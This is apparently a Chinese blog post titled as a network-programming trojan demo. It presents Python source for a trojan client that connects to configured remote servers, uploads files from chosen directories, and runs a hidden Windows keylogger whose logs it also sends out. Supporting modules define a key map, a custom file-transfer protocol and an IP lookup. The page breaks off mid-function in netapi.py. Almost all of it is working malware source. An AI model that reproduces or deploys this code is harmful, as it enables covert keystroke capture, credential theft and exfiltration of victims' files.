抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

网络编程_木马__demo

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import os
import sys
import socket
import platform
import time
import threading
import json
from config import *
from common import *
from netapi import NetAPI
from path import scan_dir
from keylogger import keylogger


def socket_connect(hostlist, port):
lasthost = 'localhost'
print('hosts:', hostlist)
while True:
if isinstance(hostlist, (list, tuple)):
hosts = [lasthost] + list(hostlist)
else:
hosts = [lasthost, host]
for host in hosts:
# print('try to connect', (host, port))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((host, port,))
lasthost = host
print('connect %s:%s successfully' % (host, str(port)))
except Exception as e:
# print('Exceptions:', e)
continue
return s
time.sleep(3)


def send_dir(addr, port, start_dir, visited={}):
if isinstance(start_dir, (list, tuple)):
for d in start_dir:
visited = send_dir(addr, port, d, visited)
return visited
# clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# clientSocket.connect((addr, port, ))
clientSocket = socket_connect(addr, port)
logging.debug('try to get banner')
banner = b''
while banner[-1:] != b'\0':
print(banner, clientSocket)
banner += clientSocket.recv(1024)
logging.debug('get banner done')
if banner[:4] == b'7RJN':
logging.debug('banner correct')
handler = NetAPI(clientSocket)
for filename in scan_dir(start_dir):
filesize = os.path.getsize(filename)
filemtime = os.path.getmtime(filename)
signature = [filesize, filemtime]
if visited.get(filename) == signature:
continue
handler.send_file(filename)
visited[filename] = signature
handler.close()
clientSocket.shutdown(socket.SHUT_WR)
clientSocket.close()
return visited


def send_dir_update(addr, port, start_dir, signature=None):
visited = {}
if isinstance(signature, str) and os.path.exists(signature):
with open(signature) as fp:
visited = json.load(fp)
visited = send_dir(addr, port, start_dir, visited=visited)
if isinstance(signature, str):
dirname = os.path.dirname(signature)
if not os.path.exists(dirname):
os.makedirs(dirname)
with open(signature, 'w') as fp:
json.dump(visited, fp)
return visited


def send_file_thread(addr, port, logs, signature=None):
last_send = 0.0
while True:
curtime = time.time()
if curtime - last_send < update_interval:
continue
last_send = curtime
args = (addr, port, start_dirs,)
kwargs = {'signature': signature, }
thread = threading.Thread(target=send_dir_update, args=args, kwargs=kwargs, )
thread.start()
threads.append(thread)
time.sleep(1)


def send_log_thread(addr, port, logs, signature=None):
while True:
send_dir_update(addr, port, logs, signature=signature)
time.sleep(keylog_interval)


if __name__ == '__main__':
threads = []
trojan_dir = trojan_dirs.get(platform.system(), [])
start_dirs = upload_dirs.get(platform.system(), [])
keylogdir = keylogger_dirs.get(platform.system())
signature = None
keylogsignature = None
if isinstance(trojan_dir, str):
if not os.path.exists(trojan_dir):
os.makedirs(trojan_dir)
signature = os.path.join(trojan_dir, 'Signature.json')
keylogsignature = os.path.join(trojan_dir, 'KeyLogger.json')
if keylogdir:
thread = threading.Thread(target=keylogger, args=(keylogdir, False,))
thread.start()
threads.append(thread)
args = (SERVERS, PORT, keylogdir,)
kwargs = {'signature': keylogsignature}
thread = threading.Thread(target=send_log_thread, args=args, kwargs=kwargs)
thread.start()
threads.append(thread)
if start_dirs:
args = (SERVERS, PORT, start_dirs,)
kwargs = {'signature': signature}
thread = threading.Thread(target=send_file_thread, args=args, kwargs=kwargs)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()

common.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
import logging
# logging.basicConfig(level=logging.DEBUG)

class Output:
def __init__(self, mode=True):
self.silentMode = mode
def __call__(self, *args, **kwargs):
if not self.silentMode:
print(*args, **kwargs)
sys.stdout.flush()
def set(self, mode):
self.silentMode = mode

def thread_refresh(threads, result=None):
if not result:
result = []
elif not isinstance(result, (list, tuple)):
result = [result]
for thread in threads:
if isinstance(thread, (list, tuple)):
result = thread_refresh(thread, result)
continue
thread.join(0.1)
if thread.is_alive():
result.append(thread)
return result


inout.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import io
import socket
import struct
from common import *

class InOutException(Exception):
pass

class INOUT:
def __init__(self, handle):
self.handle = handle
self.exceptTag = b'\\'
def data_to_nbyte(self, n, exceptFlag=False):
exceptTag = {False: b'', True:self.exceptTag}.get(exceptFlag, b'')
if isinstance(n, int):
if n < (1 << 8): tag = 'B'
elif n < (1 << 16): tag = 'H'
elif n < (1 << 32): tag = 'L'
elif n < (1 << 64): tag = 'Q'
else: tag = 'U'
if tag != 'U':
n = struct.pack('!' + tag, n)
nbyte = tag.encode('utf-8') + n
else:
b = bignum_to_bytes(n)
nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
elif isinstance(n, bytes):
tag, b = 's', n
nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
elif isinstance(n, str):
tag, b = 'c', n.encode('utf-8')
nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
else:
raise TypeError('data_to_nbyte: Invalid type: ' + type(tag))
if exceptFlag: logging.debug('send exception: %s', nbyte)
return exceptTag + nbyte

def nbyte_to_data(self):
size_info = { 'B': 1, 'H': 2, 'L':4, 'Q':8 }
valendata = { 's': lambda n: n,
'c': lambda n: n.decode('utf-8'),
'U': lambda n: bytes_to_bignum(n), }
btag = self.read_raw(1)
if not btag:
return None
exceptFlag = False
if btag == self.exceptTag:
exceptFlag = True
btag = self.read_raw(1)
if not btag:
return None
tag = btag.decode('utf-8')
if tag in size_info:
size = size_info[tag]
bnum = b''
while len(bnum) < size:
bnum += self.read_raw(size - len(bnum))
result = struct.unpack('!' + tag, bnum)[0]
elif tag in valendata:
size = self.nbyte_to_data()
if size >= 65536:
raise ValueError('length too long: ' + str(size))
bstr = b''
while len(bstr) < size:
bstr += self.read_raw(size - len(bstr))
# result = bstr if tag == 's' else bstr.decode('utf-8')
result = valendata[tag](bstr)
else:
raise TypeError('nbyte_to_data: Invalid type: ' + tag)
if exceptFlag:
logging.debug('recv exception: %s', result)
raise InOutException(result)
return result
def read(self):
d = self.nbyte_to_data()
return d
def write(self, d, exceptFlag=False):
byte_data = self.data_to_nbyte(d, exceptFlag)
self.write_raw(byte_data)
def read_raw(self, n):
d = self.read_handle(n)
return d
def write_raw(self, d):
return self.write_handle(d)
def close(self):
return self.close_handle()
#
def read_handle(self, n):
return b''
def write_handle(self, d):
return len(d)
def close_handle(self):
return self.handle

class NetworkIO(INOUT):
def read_handle(self, n):
try:
return self.handle.recv(n)
except Exception as e:
logging.debug('Exception: %s', str(e))
raise
def write_handle(self, d):
try:
return self.handle.send(d)
except Exception as e:
logging.debug('Exception: %s', str(e))
raise
def close_handle(self):
pass

class FileIO(INOUT):
def read_handle(self, n):
return self.handle.read(n)
def write_handle(self, d):
return self.handle.write(d)

class StringIO(INOUT):
def read_handle(self, n):
data, self.handle = self.handle[:n], self.handle[n:]
return data
def write_handle(self, d):
self.handle += d


def InitIO(handle):
readers = {
bytes: StringIO,
io.IOBase: FileIO,
socket.socket: NetworkIO,
}
return readers.get(type(handle), lambda n: None)(handle)

def bignum_to_bytes(n):
result = b''
while n > 0:
b = n % 128
n >>= 7
if n:
b += 128
result += bytes([b])
return result

def bytes_to_bignum(bs):
result = 0
exp = 0
for b in bs:
n = b % 128
result += n << exp
exp += 7
if b & (1 << 7) == 0:
break
return result


keydef.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
VK_LBUTTON             = 0x01
VK_RBUTTON = 0x02
VK_CANCEL = 0x03 # Cancel
VK_MBUTTON = 0x04
VK_XBUTTON1 = 0x05
VK_XBUTTON2 = 0x06
VK_BACK = 0x08 # Backspace
VK_TAB = 0x09 # Tab
VK_CLEAR = 0x0C # Clear
VK_RETURN = 0x0D # Enter
VK_SHIFT = 0x10 # Shift
VK_CONTROL = 0x11 # Ctrl
VK_MENU = 0x12 # Alt
VK_PAUSE = 0x13 # Pause
VK_CAPITAL = 0x14 # CapsLock
VK_KANA = 0x15
VK_HANGUEL = 0x15
VK_HANGUL = 0x15
VK_JUNJA = 0x17
VK_FINAL = 0x18
VK_HANJA = 0x19
VK_KANJI = 0x19
VK_ESCAPE = 0x1B # Esc
VK_CONVERT = 0x1C
VK_NONCONVERT = 0x1D
VK_ACCEPT = 0x1E
VK_MODECHANGE = 0x1F
VK_SPACE = 0x20 # SPACE
VK_PRIOR = 0x21 # PageUp
VK_NEXT = 0x22 # PageDown
VK_END = 0x23 # End
VK_HOME = 0x24 # Home
VK_LEFT = 0x25 # Left
VK_UP = 0x26 # Up
VK_RIGHT = 0x27 # Right
VK_DOWN = 0x28 # Down
VK_SELECT = 0x29 # Select
VK_PRINT = 0x2A # Print
VK_EXECUTE = 0x2B # Execute
VK_SNAPSHOT = 0x2C # PrintScreen
VK_INSERT = 0x2D
VK_DELETE = 0x2E
VK_HELP = 0x2F
VK_0 = 0x30 # 0 [SHIFT] )
VK_1 = 0x31 # 1 [SHIFT] !
VK_2 = 0x32 # 2 [SHIFT] @
VK_3 = 0x33 # 3 [SHIFT] #
VK_4 = 0x34 # 4 [SHIFT] $
VK_5 = 0x35 # 5 [SHIFT] %
VK_6 = 0x36 # 6 [SHIFT] ^
VK_7 = 0x37 # 7 [SHIFT] &
VK_8 = 0x38 # 8 [SHIFT] *
VK_9 = 0x39 # 9 [SHIFT] (
VK_A = 0x41 # a [UPPER] A
VK_B = 0x42 # b [UPPER] B
VK_C = 0x43 # c [UPPER] C
VK_D = 0x44 # d [UPPER] D
VK_E = 0x45 # e [UPPER] E
VK_F = 0x46 # f [UPPER] F
VK_G = 0x47 # g [UPPER] G
VK_H = 0x48 # h [UPPER] H
VK_I = 0x49 # i [UPPER] I
VK_J = 0x4A # j [UPPER] J
VK_K = 0x4B # k [UPPER] K
VK_L = 0x4C # l [UPPER] L
VK_M = 0x4D # m [UPPER] M
VK_N = 0x4E # n [UPPER] N
VK_O = 0x4F # o [UPPER] O
VK_P = 0x50 # p [UPPER] P
VK_Q = 0x51 # q [UPPER] Q
VK_R = 0x52 # r [UPPER] R
VK_S = 0x53 # s [UPPER] S
VK_T = 0x54 # t [UPPER] T
VK_U = 0x55 # u [UPPER] U
VK_V = 0x56 # v [UPPER] V
VK_W = 0x57 # w [UPPER] W
VK_X = 0x58 # x [UPPER] X
VK_Y = 0x59 # y [UPPER] Y
VK_Z = 0x5A # z [UPPER] Z
VK_LWIN = 0x5B
VK_RWIN = 0x5C
VK_APPS = 0x5D
VK_SLEEP = 0x5F
VK_NUMPAD0 = 0x60 # Ins [NUMLOCK] 0
VK_NUMPAD1 = 0x61 # End [NUMLOCK] 1
VK_NUMPAD2 = 0x62 # Down [NUMLOCK] 2
VK_NUMPAD3 = 0x63 # PageDown [NUMLOCK] 3
VK_NUMPAD4 = 0x64 # Left [NUMLOCK] 4
VK_NUMPAD5 = 0x65 # NumPad5 [NUMLOCK] 5
VK_NUMPAD6 = 0x66 # Right [NUMLOCK] 6
VK_NUMPAD7 = 0x67 # Home [NUMLOCK] 7
VK_NUMPAD8 = 0x68 # Up [NUMLOCK] 8
VK_NUMPAD9 = 0x69 # PageUp [NUMLOCK] 9
VK_MULTIPLY = 0x6A # * [NUMLOCK] *
VK_ADD = 0x6B # + [NUMLOCK] +
VK_SEPARATOR = 0x6C
VK_SUBTRACT = 0x6D # - [NUMLOCK] -
VK_DECIMAL = 0x6E # Del [NUMLOCK] .
VK_DIVIDE = 0x6F # / [NUMLOCK] /
VK_F1 = 0x70 # F1
VK_F2 = 0x71 # F2
VK_F3 = 0x72 # F3
VK_F4 = 0x73 # F4
VK_F5 = 0x74 # F5
VK_F6 = 0x75 # F6
VK_F7 = 0x76 # F7
VK_F8 = 0x77 # F8
VK_F9 = 0x78 # F9
VK_F10 = 0x79 # F10
VK_F11 = 0x7A # F11
VK_F12 = 0x7B # F12
VK_F13 = 0x7C # F13
VK_F14 = 0x7D # F14
VK_F15 = 0x7E # F15
VK_F16 = 0x7F # F16
VK_F17 = 0x80 # F17
VK_F18 = 0x81 # F18
VK_F19 = 0x82 # F19
VK_F20 = 0x83 # F20
VK_F21 = 0x84 # F21
VK_F22 = 0x85 # F22
VK_F23 = 0x86 # F23
VK_F24 = 0x87 # F24
VK_NUMLOCK = 0x90 # NumLock
VK_SCROLL = 0x91 # Scroll
VK_LSHIFT = 0xA0
VK_RSHIFT = 0xA1
VK_LCONTROL = 0xA2
VK_RCONTROL = 0xA3
VK_LMENU = 0xA4
VK_RMENU = 0xA5
VK_BROWSER_BACK = 0xA6
VK_BROWSER_FORWARD = 0xA7
VK_BROWSER_REFRESH = 0xA8
VK_BROWSER_STOP = 0xA9
VK_BROWSER_SEARCH = 0xAA
VK_BROWSER_FAVORITES = 0xAB
VK_BROWSER_HOME = 0xAC
VK_VOLUME_MUTE = 0xAD
VK_VOLUME_DOWN = 0xAE
VK_VOLUME_UP = 0xAF
VK_MEDIA_NEXT_TRACK = 0xB0
VK_MEDIA_PREV_TRACK = 0xB1
VK_MEDIA_STOP = 0xB2
VK_MEDIA_PLAY_PAUSE = 0xB3
VK_LAUNCH_MAIL = 0xB4
VK_LAUNCH_MEDIA_SELECT = 0xB5
VK_LAUNCH_APP1 = 0xB6
VK_LAUNCH_APP2 = 0xB7
VK_OEM_1 = 0xBA # ; [SHIFT] :
VK_OEM_PLUS = 0xBB # = [SHIFT] +
VK_OEM_COMMA = 0xBC # , [SHIFT] <
VK_OEM_MINUS = 0xBD # - [SHIFT] _
VK_OEM_PERIOD = 0xBE # . [SHIFT] >
VK_OEM_2 = 0xBF # / [SHIFT] ?
VK_OEM_3 = 0xC0 # ` [SHIFT] ~
VK_OEM_4 = 0xDB # [ [SHIFT] {
VK_OEM_5 = 0xDC # \ [SHIFT] |
VK_OEM_6 = 0xDD # ] [SHIFT] }
VK_OEM_7 = 0xDE # ' [SHIFT] "
VK_OEM_8 = 0xDF
VK_OEM_102 = 0xE2
VK_PROCESSKEY = 0xE5
VK_PACKET = 0xE7
VK_ATTN = 0xF6
VK_CRSEL = 0xF7
VK_EXSEL = 0xF8
VK_EREOF = 0xF9
VK_PLAY = 0xFA
VK_ZOOM = 0xFB
VK_NONAME = 0xFC
VK_PA1 = 0xFD
VK_OEM_CLEAR = 0xFE

keylogger.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import sys
import os
import time
import threading
import platform
from keymap import *
from common import Output, thread_refresh


MAX_KEYLOGGER_BUF = 1024

if platform.system() == 'Windows':
import win32api

def keylogger(SaveDirs=[], silentMode=False):
write = Output(silentMode)
result = ''
last_update = 0
while True:
name = ''
for code in range(8, 256):
if code in [VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL, VK_NUMLOCK]:
continue
status = win32api.GetAsyncKeyState(code)
if status & 1 != 1: continue
CtrlKey = win32api.GetKeyState(VK_CONTROL) < 0
AltKey = win32api.GetKeyState(VK_MENU) < 0
ShiftKey = win32api.GetKeyState(VK_SHIFT) < 0
CapsLock = win32api.GetKeyState(VK_CAPITAL) & 1 == 1
NumLock = win32api.GetKeyState(VK_NUMLOCK) & 1 == 1
# upper = ShiftKey != CapsLock
Modifier = []
if CtrlKey: Modifier.append('Control')
if AltKey: Modifier.append('Alt')
if ShiftKey: Modifier.append('Shift')
character = keymap.get(code)
if character is None:
continue
name = '-'.join(Modifier + [character])
if VK_A <= code <= VK_Z and not Modifier and CapsLock:
name = character.upper()
if VK_NUMPAD0 <= code <= VK_DIVIDE and NumLock and keymap.get('NumLock-' + name):
name = keymap.get('NumLock-' + name)
elif keymap.get(name):
name = keymap.get(name)
if len(name) > 1 or ord(name) > 255:
name = '[' + name + ']'
if code == VK_RETURN:
name += '\r\n'
write(name)
result += name
if len(result) > MAX_KEYLOGGER_BUF:
result = result[-MAX_KEYLOGGER_BUF:]
cur_time = time.time()
if result and cur_time - last_update > 1:
fileName = time.strftime('%Y%m%d') + '.txt'
for SaveDir in SaveDirs:
try:
if not os.path.exists(SaveDir):
os.makedirs(SaveDir)
fullName = os.path.join(SaveDir, fileName)
with open(fullName, 'a') as fp:
fp.write(result)
result = ''
except:
logging.debug('Can\'t open %s', fullName)
continue
last_update = cur_time
result = ''
time.sleep(0.01)

else:
def keylogger(SaveDirs=[], silentMode=False):
pass

if __name__ == '__main__':
### change parameters here ###
save_dirs = ['C:\\KeyLogger']
update_interval = 3
SilentMode = False # no output
##############################
threads = []
if platform.system() == 'Windows':
import client
def send_log():
while True:
for SaveDir in save_dirs if isinstance(save_dirs, list) else [save_dirs]:
client.send_dir(SaveDir)
time.sleep(update_interval)
thread = threading.Thread(target=send_log)
thread.start()
threads.append(thread)
thread = threading.Thread(target=keylogger, args=(save_dirs, SilentMode))
thread.start()
threads.append(thread)
while threads:
threads = thread_refresh(threads)

keymap.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from keydef import *
keymap = {
VK_CANCEL: 'Cancel',
VK_BACK: 'Backspace',
VK_TAB: 'Tab',
VK_CLEAR: 'Clear',
VK_RETURN: 'Enter',
VK_SHIFT: 'Shift',
VK_CONTROL: 'Ctrl',
VK_MENU: 'Alt',
VK_PAUSE: 'Pause',
VK_CAPITAL: 'CapsLock',
VK_ESCAPE: 'Esc',
VK_SPACE: ' ',
VK_PRIOR: 'PageUp',
VK_NEXT: 'PageDown',
VK_END: 'End',
VK_HOME: 'Home',
VK_LEFT: 'Left',
VK_UP: 'Up',
VK_RIGHT: 'Right',
VK_DOWN: 'Down',
VK_SELECT: 'Select',
VK_PRINT: 'Print',
VK_EXECUTE: 'Execute',
VK_SNAPSHOT: 'PrintScreen',
VK_0: '0',
VK_1: '1',
VK_2: '2',
VK_3: '3',
VK_4: '4',
VK_5: '5',
VK_6: '6',
VK_7: '7',
VK_8: '8',
VK_9: '9',
VK_A: 'a',
VK_B: 'b',
VK_C: 'c',
VK_D: 'd',
VK_E: 'e',
VK_F: 'f',
VK_G: 'g',
VK_H: 'h',
VK_I: 'i',
VK_J: 'j',
VK_K: 'k',
VK_L: 'l',
VK_M: 'm',
VK_N: 'n',
VK_O: 'o',
VK_P: 'p',
VK_Q: 'q',
VK_R: 'r',
VK_S: 's',
VK_T: 't',
VK_U: 'u',
VK_V: 'v',
VK_W: 'w',
VK_X: 'x',
VK_Y: 'y',
VK_Z: 'z',
VK_NUMPAD0: 'Ins',
VK_NUMPAD1: 'End',
VK_NUMPAD2: 'Down',
VK_NUMPAD3: 'PageDown',
VK_NUMPAD4: 'Left',
VK_NUMPAD5: 'NumPad5',
VK_NUMPAD6: 'Right',
VK_NUMPAD7: 'Home',
VK_NUMPAD8: 'Up',
VK_NUMPAD9: 'PageUp',
VK_MULTIPLY: '*',
VK_ADD: '+',
VK_SUBTRACT: '-',
VK_DECIMAL: 'Del',
VK_DIVIDE: '/',
VK_F1: 'F1',
VK_F2: 'F2',
VK_F3: 'F3',
VK_F4: 'F4',
VK_F5: 'F5',
VK_F6: 'F6',
VK_F7: 'F7',
VK_F8: 'F8',
VK_F9: 'F9',
VK_F10: 'F10',
VK_F11: 'F11',
VK_F12: 'F12',
VK_F13: 'F13',
VK_F14: 'F14',
VK_F15: 'F15',
VK_F16: 'F16',
VK_F17: 'F17',
VK_F18: 'F18',
VK_F19: 'F19',
VK_F20: 'F20',
VK_F21: 'F21',
VK_F22: 'F22',
VK_F23: 'F23',
VK_F24: 'F24',
VK_NUMLOCK: 'NumLock',
VK_SCROLL: 'Scroll',
VK_OEM_1: ';',
VK_OEM_PLUS: '=',
VK_OEM_COMMA: ',',
VK_OEM_MINUS: '-',
VK_OEM_PERIOD: '.',
VK_OEM_2: '/',
VK_OEM_3: '`',
VK_OEM_4: '[',
VK_OEM_5: '\\',
VK_OEM_6: ']',
VK_OEM_7: '\'',
'Shift-0': ')',
'Shift-1': '!',
'Shift-2': '@',
'Shift-3': '#',
'Shift-4': '$',
'Shift-5': '%',
'Shift-6': '^',
'Shift-7': '&',
'Shift-8': '*',
'Shift-9': '(',
'Shift-a': 'A',
'Shift-b': 'B',
'Shift-c': 'C',
'Shift-d': 'D',
'Shift-e': 'E',
'Shift-f': 'F',
'Shift-g': 'G',
'Shift-h': 'H',
'Shift-i': 'I',
'Shift-j': 'J',
'Shift-k': 'K',
'Shift-l': 'L',
'Shift-m': 'M',
'Shift-n': 'N',
'Shift-o': 'O',
'Shift-p': 'P',
'Shift-q': 'Q',
'Shift-r': 'R',
'Shift-s': 'S',
'Shift-t': 'T',
'Shift-u': 'U',
'Shift-v': 'V',
'Shift-w': 'W',
'Shift-x': 'X',
'Shift-y': 'Y',
'Shift-z': 'Z',
'NumLock-Ins': '0',
'NumLock-End': '1',
'NumLock-Down': '2',
'NumLock-PageDown': '3',
'NumLock-Left': '4',
'NumLock-NumPad5': '5',
'NumLock-Right': '6',
'NumLock-Home': '7',
'NumLock-Up': '8',
'NumLock-PageUp': '9',
'NumLock-*': '*',
'NumLock-+': '+',
'NumLock--': '-',
'NumLock-Del': '.',
'NumLock-/': '/',
'Shift-;': ':',
'Shift-=': '+',
'Shift-,': '<',
'Shift--': '_',
'Shift-.': '>',
'Shift-/': '?',
'Shift-`': '~',
'Shift-[': '{',
'Shift-\\': '|',
'Shift-]': '}',
'Shift-\'': '\"',
}

myip.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import urllib.request

def myip_wan():
url = 'http://bot.whatismyipaddress.com'
ip = None
with urllib.request.urlopen(url) as fp:
ip = fp.read()
if isinstance(ip, bytes):
ip = ip.decode('utf-8')
return ip

def myip_lan():
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 53))
ip = s.getsockname()[0]
s.close()
return ip

if __name__ == '__main__':
ip = myip_wan()
print(ip)
ip = myip_lan()
print(ip)

netapi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
import io
import os
import sys
import time
import shutil
from config import *
from common import *
from inout import InitIO, InOutException
from path import split_path
import socket

FILE_BEGIN_TAG = b'FILEBEG0'
FILE_END_TAG = b'FILEEND0'
FILE_SIZE_TAG = b'FILESIZE'
FILE_NAME_TAG = b'FILENAME'
FILE_CONTENT_TAG = b'FILEDATA'
FILE_BLOCKS_TAG = b'FILEBLKS'
FILE_SUCCESS_TAG = b'FILEGOOD'
FILE_FAIL_TAG = b'FILEFAIL'
FILE_ABORT_TAG = b'FILEABRT'
FILE_TAG_SIZE = len(FILE_BEGIN_TAG)

class NetAPI:
def __init__(self, iHandle=None, oHandle=None):
if not iHandle:
iHandle = b''
if not oHandle:
oHandle = iHandle
self.iHandle = InitIO(iHandle)
self.oHandle = InitIO(oHandle)
self.savePath = 'SavedFiles'
self.maxSize = 2147483647
self.blockSize = 4096

def recv_data(self): return self.iHandle.read()
def send_tag(self, tag): self.oHandle.write(tag, True)
def send_data(self, data): self.oHandle.write(data)

# send
def send_file(self, path):
fileName = os.path.abspath(path)
fileSize = os.path.getsize(path)
try:
logging.debug('test for %s', fileName)
open(fileName, 'rb') # test if the file is accessible
except Exception as e:
logging.error('Exception while testing opening: %s %s', fileName, str(e))
return None
if fileSize > self.blockSize:
fileTag, fileSend = (FILE_BLOCKS_TAG, lambda: self.send_blocks(path),)
else:
fileTag, fileSend = (FILE_CONTENT_TAG, lambda: self.send_content(path),)
fileInfo = [
(FILE_BEGIN_TAG, None),
(FILE_NAME_TAG, lambda: self.send_name(fileName),),
(FILE_SIZE_TAG, lambda: self.send_size(fileSize),),
(fileTag, fileSend,),
(FILE_END_TAG, None,),
]
for tag, sendAction in fileInfo:
backTag = None
error = None
try:
self.send_tag(tag)
logging.debug('waiting for response after send tag %s', tag)
self.recv_data()
except InOutException as e:
logging.info('get tag %s', e.args[0])
backTag = e.args[0]
except socket.error as e:
logging.error('Exception when send tag: %s %s', tag, str(e))
return None
except Exception as e:
logging.error('Exception when send: %s %s', tag, str(e))
error = FILE_ABORT_TAG
break
if error:
self.send_tag(error)
return False
error = None
if not sendAction: continue
try:
sendAction()
logging.debug('wait for response after action')
self.recv_data()
except InOutException as e:
logging.info('Exception when send action: %s %s', tag, e.args[0])
backTag = e.args[0]
except Exception as e:
logging.error('Exception: %s', str(e))
error = FILE_ABORT_TAG
break
if error:
self.send_tag(error)
return False
if backTag != FILE_SUCCESS_TAG:
return False
return True
def send_content(self, fileName):
logging.debug('send content %s', fileName)
try:
filedata = open(fileName, 'rb').read()
self.send_data(filedata)
except Exception as e:
logging.error('send_content.Exception: %s', str(e))
raise
return len(filedata)
def send_success(self): self.send_tag(FILE_SUCCESS_TAG)
def send_fail(self): self.send_tag(FILE_FAIL_TAG)
def send_abort(self): self.send_tag(FILE_ABORT_TAG)
# receive
def recv_file(self):
receiver = {
FILE_NAME_TAG: self.recv_name,
FILE_SIZE_TAG: self.recv_size,
FILE_CONTENT_TAG: self.recv_content,
FILE_BLOCKS_TAG: self.recv_blocks,
}
result = {}
while True:
tag = None
logging.debug('wait for tag')
try:
data = self.recv_data()
if data is None: break
continue
except InOutException as e:
tag = e.args[0]
except socket.error:
logging.error('Exception: %s', str(e))
raise
except Exception as e:
logging.error('Exception: %s', str(e))
break
logging.debug('get tag: %s', tag)
if not tag: continue
elif tag == FILE_BEGIN_TAG:
result = {}
logging.debug('send success after get tag')
self.send_success()
continue
elif tag == FILE_END_TAG:
logging.debug('send success after get tag')
self.send_success()
break
elif tag == FILE_ABORT_TAG:
logging.debug('abort')
result = {}
continue
self.send_success()
try:
logging.debug('wait for receive data')
data = receiver.get(tag, (lambda : None))()
if data is None: break
result[tag] = data
logging.debug('send success after receive data')
self.send_success()
continue
except InOutException as e:
tag = e.args[0]
break
except socket.error:
raise
except Exception as e:
logging.error('Exception: %s', str(e))
break
if tag: break
logging.debug('send fail after data')
self.send_fail()
if not result:
result = None
return result
def recv_verify(self, result):
essential_flag = {FILE_NAME_TAG:1, FILE_SIZE_TAG:2,
FILE_CONTENT_TAG:4, FILE_BLOCKS_TAG:4}
flag = sum([essential_flag.get(x) for x in result.keys()])
if flag != 7: result = None
return result
def recv_size(self):
